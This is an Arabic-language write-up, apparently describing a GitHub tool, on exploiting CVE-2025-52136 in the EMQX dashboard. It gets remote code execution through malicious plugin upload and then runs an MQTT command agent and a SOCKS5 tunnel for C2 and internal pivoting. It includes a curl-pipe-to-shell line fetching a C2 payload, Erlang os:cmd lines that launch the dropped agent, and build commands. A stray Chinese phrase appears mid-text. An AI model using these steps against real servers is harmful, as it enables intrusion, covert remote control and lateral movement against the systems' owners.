
استغلال لثغرة CVE-2025-52136 يتيح تنفيذ الأوامر عن بُعد (RCE) على لوحة تحكم EMQX عبر رفع إضافات، مع وكيل أوامر قائم على MQTT ونفق SOCKS5 للاتصال خارج النطاق (C2) والتنقل داخل الشبكة.
https://github.com/ricardojoserf/emqx-RCE
الطريقة الأصلية للاستغلال تعتمد على رفع إضافة EMQX، وإضافة استدعاء وحدة Erlang os في قالب كود الإضافة لتنفيذ أوامر النظام والحصول على RCE
في بيئة متصلة بالإنترنت، حيث توجد أداة curl افتراضيًا، يمكن مباشرة استخدام curl http://xx.xx.xx.xx/1.sh | sh للاتصال بـ C2
عندما لا يكون الهدف متصلًا بالإنترنت، وبما أن EMQX本身就是 خادم رسائل MQTT، يمكن مباشرة رفع الإضافة وتنفيذ البرنامج القابل للتنفيذ المرفوع على خادم EMQX باستخدام EMQX كنواة لقائمة انتظار رسائل MQTT، يعمل البرنامج المنشور مباشرة كـ"وكيل أوامر النظام"، حيث يsubscribe أوامر العميل ثم ينشر نتائج التنفيذ مرة أخرى إلى الموضوع.
+-------------+
| العميل |
| إرسال رسالة الأمر |
| الموضوع: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| برنامج وكيل الأوامر |
| subscribe rx/cmd |
| تنفيذ أوامر النظام |
| publish tx/cmd |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
ثم باستخدام فكرة الاستغلال الأصلية، أضف ثلاثة أسطر في my_emqx_plugin.erl
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
بعد ترجمة الإضافة، استخدم أي أداة ضغط لوضع mqtt_agent في دليل my_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\

رفع الإضافة

ثم في العميل أضف اشتراكًا لـ tx/cmd، مع الموضوع rx/cmd، ويمكن استخدامه مباشرة

وبنفس الطريقة، يمكن فتح نفق بين Client ↔ Agent عبر MQTT، وإعادة توجيه بيانات TCP ثنائية الاتجاه عبر MQTT إلى Agent الداخلي، ثم يقوم Agent بالاتصال بالهدف الداخلي لتحقيق اختراق الشبكة الداخلية.
هذا الحل له بعض العيوب:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
طريقة الاستخدام مشابهة لعملية RCE المذكورة أعلاه، هنا نستخدم المنفذ المحلي مباشرة كـ socks5 لإعادة توجيه حركة المرور عبر النفق
نفق الوكيل يتم ترجمته واستخدامه ذاتيًا
هذه الأداة مخصصة للاستخدام فقط في بيئات مرخصة/بيئات اختبار، ويُمنع منعًا باتًا الاستخدام غير القانوني